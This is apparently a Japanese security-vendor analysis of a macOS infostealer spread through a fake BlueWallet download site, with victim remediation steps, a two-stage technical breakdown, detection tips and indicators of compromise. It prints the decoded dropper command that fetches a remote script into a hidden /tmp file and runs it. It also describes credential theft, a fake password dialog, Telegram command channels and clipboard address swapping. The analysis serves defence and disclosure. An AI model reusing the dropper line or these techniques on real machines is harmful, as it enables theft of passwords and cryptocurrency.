実在するBitcoinウォレット「BlueWallet」を装った偽サイトが、シンプルながら効果的な手口でMacユーザーを標的にしています。BlueWallet本体は侵害されていません。攻撃者は正規のBitcoinウォレットの名称とブランドを悪用し、悪意あるダウンロードを信頼できるものに見せかけています。
暗号資産ウォレットを探してこの偽BlueWalletのダウンロードページにたどり着いた場合、サイトはmacOS標準ツールでダウンロードしたファイルを開き、「Run(実行)」を押すよう誘導しようとします。その指示に従った場合、マルウェアは保存済みパスワード、ブラウザのログイン情報、暗号資産ウォレット、ドキュメント、その他の機密データを窃取できます。さらに、クリップボード上の暗号資産ウォレットアドレスを監視し、攻撃者が管理するアドレスにすり替えることも可能です。
この最後の機能は特に危険です。送金前にウォレットアドレスをコピーした場合、マルウェアが密かに攻撃者のアドレスにすり替えます。画面上は何も変わっていないように見えますが、資金は別の場所に送られてしまいます。
心配すべき状況は、ファイルをダウンロードして実行した場合に限られます。ページを訪問して閉じるだけでは、それ自体では何も起こりません。この攻撃は、ユーザー自身がスクリプトを開いて実行ボタンを押すことに完全に依存しています。
実行してしまった場合は、そのマシンが侵害されたものとみなし、以下の手順を実施してください。
実行した可能性がある場合の対処法
ファイルを開いて実行ボタンを押した場合は、デバイスが侵害されたと想定し、以下の手順を順番に実施してください。
- 制御チャネルを遮断するため、マシンをネットワークから切断する
- デバイスのフルスキャンを実行し、Webプロテクションが有効な最新のセキュリティソフトウェアを使用していることを確認する
- 別の信頼できるデバイスから、Mac上で使用していたすべてのアカウントのパスワードを変更する(メールと暗号資産取引所を最優先)
- 保有する暗号資産は、クリーンなデバイスで新規作成したウォレットに移動する
- 既存のシードフレーズと秘密鍵は漏洩済みとして扱う
- 今後の暗号資産送金時は、送金先アドレスを1文字ずつ目視で確認する
~/Library/LaunchAgents内に見覚えのないファイルがないか確認し、削除する/tmp内に隠しファイル.sysupd.shがないか確認する- マシン上に
.ssh、.aws、.gnupgファイルが存在していた場合は、クラウドおよびSSH認証情報をローテーションする - 不安が残る場合は、データをバックアップし、その場でクリーンアップを試みるのではなく、正規のソースからmacOSを再インストールする
この攻撃キャンペーンで最も興味深いのは、技術的な点ではありません。攻撃者はMacに侵入したり、Appleのセキュリティ保護を回避したりしているわけではないのです。被害者自身がマルウェアを実行するよう仕向けているだけです。
偽サイトは、説得力のあるダウンロードページ、わかりやすい手順、さらにはキーボードショートカットまで使って、ユーザーを手順通りに誘導します。この攻撃が成立するのは、被害者が目に見えているものを信じてしまうからです。
OSが悪意あるソフトウェアのブロック精度を高めるにつれて、攻撃者はソーシャルエンジニアリングへの投資を増やしています。セキュリティ制御を回避する方法を探すのではなく、人々をうまく誘導してそれらをすり抜けさせるのです。
だからこそ、ある習慣がますます重要になっています。スクリプトツール、開発者ユーティリティ、またはターミナルウィンドウで開いて「Run」を押すよう指示とともに提供されるダウンロードには、常に疑いの目を向けることが大切です。
今回の攻撃では、⌘Rを一度押すだけで、Macがパスワード窃取ツール、暗号資産ウォレット泥棒、クリップボードハイジャッカー、そしてリモートアクセスツールへと変わってしまいました。
技術的な分析
第1段階:AppleScriptダウンローダー
当該ページはupdate-bluewallet[.]comというドメインで公開されており、本物のウォレット(bluewallet.io)と一見して見分けがつかないほど似た名前になっています。ページが最初に行うのは、同意を待つことではありません。ページが読み込まれた瞬間に2秒タイマーでダウンロードルーチンが呼び出され、訪問者が2つのボタンのいずれかをクリックした場合にも再度実行されます。
ダウンロードフォルダに保存されるファイルはBlueWallet Installer.applescriptという名前で、ほとんどの人が見たことのない拡張子であり、不信感を覚えにくいものです。
そしてページは巧妙な手口を使います。少し遅れてから、ページ自身のステータステキストがセットアップ手順に書き換えられます。「インストーラーを開き、再生ボタンまたは⌘Rを押してください」という内容です。被害者がまもなく目にする実際のScript Editorインターフェースと一致するよう、テキスト中には小さな青い再生三角形まで描かれています。

ページはファイルを実行するために必要な正確な操作手順を、被害者に一つずつ案内します。
最新のmacOSでは、Webからダウンロードされた署名なしのアプリケーションは隔離(quarantine)され、実行前にチェックが行われます。Script Editorで開いたプレーンなスクリプトをユーザーが手動で実行する場合、このフローを回避できます。ユーザー自身が信頼できるApple純正ツールにコードの実行を指示するため、公証(notarization)ゲートで弾かれることがないのです。
攻撃者がパッケージ化されたアプリではなくAppleScriptを選んだ理由はここにあります。リスクのある操作をOSの管理外に移し、被害者自身の手に委ねることができるからです。
AppleScript自体は驚くほど短いものです。装飾的なコメント(偽のバージョン番号や「Brew Install Upgrade」と称する行を含む)を除くと、base64エンコードされたシェルコマンドを1つ実行し、その後Script Editorに保存せずに終了するよう指示するだけです。これにより証拠が画面から消去されます。

デコードすると、このコマンドは以下の動作をします。
curl -s 'https://projects2026box[.]com/serve_site/confighelper_0adfeee8.sh' -o /tmp/.sysupd.sh && chmod +x /tmp/.sysupd.sh && /tmp/.sysupd.sh >/dev/null 2>&1 &
リモートホストから第2のスクリプトを取得し、一時ディレクトリ内の隠しファイルに保存して実行権限を付与し、すべての出力を抑制しながらバックグラウンドで実行します。
被害者には何も表示されません。ファイル名.sysupd.shはシステムアップデートを装っています。これは教科書的な「ステージドドロッパー」の手口です。第1段階は小さく使い捨てで、その唯一の役割は本物のペイロードを取得することです。
第2段階:ペイロードの分析
冒頭の数行で、マルウェアがどのように動作するかが明確になります。まずumask 077を設定して作成するすべてのファイルを侵害されたユーザーのみが読み取れるようにし、次に/dev/urandomをシードとして/tmp配下にランダムな名前の隠し作業ディレクトリを作成します。
設定情報は難読化されていますが、その手法は単純です。_xdという小さな関数が16進文字列を2文字ずつ処理し、各バイトをハードコードされた繰り返しキー(swckR9JCD2Uu)とXOR演算します。
この関数は実行時に、スクリプトのTelegramボットトークン、チャット識別子、セカンダリコマンドトークン、およびステージングURLをデコードします。平文文字列しか検索しないツールを回避するには十分ですが、それ以上の防御力はありません。キーとアルゴリズムの両方がファイル内に記述されているため、すべてのエンコード値は完全に復元可能です。
一つ特筆すべき点があります。デコードされたTelegramチャット値とコマンド&コントロールのチャット値が同一であることです。攻撃者は単一のTelegramチャンネルを、情報の流出先と制御チャンネルの両方に使用しています。コストが安く、スケーラブルで、暗号化されており、未知のサーバーではないため通常のHTTPS通信に紛れ込むことができます。
すべてが難読化されているわけではありません。クリップボードハイジャッキングに使用するアドレスは、ファイル内に平文で記載されています。Bitcoinアドレス、Ethereumアドレス、Solanaアドレスの3つです。これらは、ウォレットアドレスのコピーを検知した際にインプラントがすり替えるアドレスです。各ブロックチェーン上で公開されているため、サンプル全体の中で最も有用なアーティファクトの一つとなっています。
窃取される情報
第2段階の収集ルーチンは広範囲にわたります。6つの大きなカテゴリから情報を収集します。
1. Webブラウザ
スクリプトは以下を含む幅広いブラウザから、履歴・Cookie・ログイン情報・ブックマークを抽出します。
- Chromiumベースのブラウザ:Google Chrome(Stable、Beta、Canary、Dev)、Brave、Microsoft Edge、Vivaldi、Opera、Opera GX、Arc、Chromium、Coccoc、Yandex
- Firefoxベースのブラウザ:Firefox、Waterfox、Pale Moon、Zen、LibreWolf
- macOSネイティブブラウザデータ:SafariのCookie・履歴・フォーム入力値
2. 暗号資産ウォレット
このスクリプトの主要な目的と思われます。
対象となるデスクトップウォレットアプリケーションには、Electrum、Electrum-LTC、Exodus、Atomic Wallet、Ledger Live、Trezor Suite、Bitcoin Core、Litecoin Core、DashCore、Dogecoin Core、Coinomi、Monero、Sparrow、Armory、BlueWallet、Zengo、Trust Wallet、Binance Desktop、Tonkeeperが含まれます。
また、複数のエコシステムのブラウザ拡張機能ウォレットも標的にしています。
- Bitcoin:Xverse、Leather、UniSat、Alby、Wizz
- Solana:Phantom、Solflare、Backpack、Nightly、MagicEden、Sollet、Slope
- EVMウォレット:MetaMask、Trust Wallet、OKX、Coinbase Wallet、Rabby、Zerion、Rainbow、SafePal、Bitget、Ronin、XDEFI
- Cosmos:Keplr、Station、Cosmostation
- その他のエコシステム:Yoroi、Lace、Petra、Martian、Suiet、Talisman、SubWallet、Braavos、Temple
3. パスワードマネージャーとセキュリティツール
マルウェアは複数のパスワードマネージャーのローカルストレージと設定を標的にしています。対象には、LastPass、1Password、Dashlane、Bitwarden、Keeper、RoboForm、NordPass、Enpass、StickyPassword、TrueKey、Passbolt、Buttercupが含まれます。
また、Google Authenticator、Authy、Duo、Microsoft Authenticator、2FAS、FreeOTPといった2FAおよびオーセンティケーターツールに関連するデータも探索します。
4. コミュニケーション・ソーシャルアプリ
スクリプトはTelegram DesktopとDiscord(Discord Canary・Discord PTBを含む)のセッションデータとローカルストレージのコピーを試みます。
5. 開発者・クラウドツール
.aws内のAWS CLI設定.ssh内のSSH鍵.gnupg内のGnuPG鍵.kube内のKubernetes設定- シェルおよびGitファイル(
.zshrc、.zsh_history、.bash_history、.gitconfig)
6. 生産性アプリと一般ファイル
スクリプトはApple Notesのローカルデータベース(NoteStore.sqlite)をコピーします。
また、Honey、CapitalOne Shopping、Rakuten、CamelCamelCamel、Grammarly、Evernote、Notion Clipper、Todoist、Google Keepといったショッピング・生産性ツールのブラウザ拡張機能データも探索します。
最後に、デスクトップ・ドキュメント・ダウンロードフォルダを対象に、.txt、.pdf、.docx、.doc、.rtf、.wallet、.key、.keys、.seed、.kdbx、.pem、.envなどの拡張子を持つファイルをサイズ上限以下の条件でスキャンします。
窃取データの悪用方法
マルウェアはユーザーのアカウントパスワードを直接取得しようとします。「System Preferences(システム環境設定)」というタイトルのosascriptダイアログが表示され、「続行するためにパスワードを再入力してください」と求めます。スクリプトは各入力をdscl . authonlyで検証してから保存するため、有効な認証情報が得られるまで処理を止めません。
情報の外部送信には、macOS標準のdittoコマンドでステージングされたデータをアーカイブします。zipとは異なり常に利用可能なためと思われます。Telegramの50MBアップロード制限に対応するため、splitコマンドで大きなアーカイブを49MBのチャンクに分割してから各パートを送信します。
永続化は、ユーザーの~/Library/LaunchAgentsにLaunchAgentのplistファイルを書き込み、隠しサポートディレクトリと組み合わせ、launchctlで読み込むことで実現します。これにより、ログインのたびにインプラントが再起動します。
クリップボードハイジャックはライブのバックグラウンドループです。clip_watch関数がクリップボードを継続的に監視し、Bitcoin・Ethereum・Solanaのアドレス形式を正規表現でマッチングして元のアドレスをC2チャンネルに報告し、pbcopy経由でクリップボードを攻撃者のアドレスに上書きします。
つまり、コピーとペーストの間に、気づかれることなくすり替えが行われます。
さらに、マルウェアは対話的に制御できます。c2_loopがTelegramボットにコマンドをポーリングし、以下の充実したオペレーターツールキットをサポートしています。
/info:システム詳細情報の取得/exec:任意のシェルコマンドの実行/clipboard:現在のクリップボード内容の読み取り/download:特定ファイルの取得/exfil:情報窃取モジュールの再実行/selfdestruct:痕跡の消去
これにより、Telegramチャンネルは単なる一方向の送信先ではなく、リアルタイムのリモートコントロールリンクとして機能します。
環境寄生とTelegram悪用
このパターンはよく知られており、ますます一般化しています。すでに信頼されているツールに依存するという手法です。
配信にはApple純正のScript Editorが悪用されています。設定情報はパックされたバイナリではなく、単純なXOR演算で隠蔽されています。コマンドチャンネルはTelegramのBot APIを利用しており、未知のサーバーであればフラグが立てられるようなエグレスフィルターをすり抜けることができます。
これらの要素はそれぞれ単体では目新しいものではありません。正当に見えるコンポーネントを積み重ねることで、どの単一ステップもアラートを発しないようにしている点が効果的なのです。
検出の手がかり
ここから学ぶべき教訓は、囮の手口よりもむしろ攻撃技術そのものにあります。
Script Editorが1行のbase64 do shell scriptを実行してすぐに終了するという動作は、使い捨ての第1段階ファイルよりもはるかに優れた検出ターゲットとなる強力な振る舞いシグナルです。curlによってダウンロードされバックグラウンドで起動される隠しファイル/tmp/.sysupd.shも同様です。
ブラウザとダウンロード機能は、Webから届く.applescriptファイルを実行ファイルと同等の疑いを持って扱うべきでしょう。また、Telegramはボットトークンの悪用報告によって発生源から対策が取れる可能性があるにもかかわらず、C2チャンネルとしての対応が十分に進んでいない媒体であり続けています。
侵害の痕跡(IoC)
ファイルハッシュ(SHA-256)
216277bdb7998b48852024fc8b5853c3dc50b3857fd22afd1320b884bcaa0a61(BlueWallet Installer.applescript)
ネットワーク指標
update-bluewallet[.]comprojects2026box[.]com
クリップボードハイジャックアドレス
- BTC:
bc1qrmj4ggshddhnxx3rxwvsu8pe9ut6cgx8mx364e - ETH:
0x2B871703122064e45d77146a6D5203da3bD192FA - SOL:
8dtdRQePrKz97FszwMEa4QvptdAAcbAFs7kBojr5Mz3v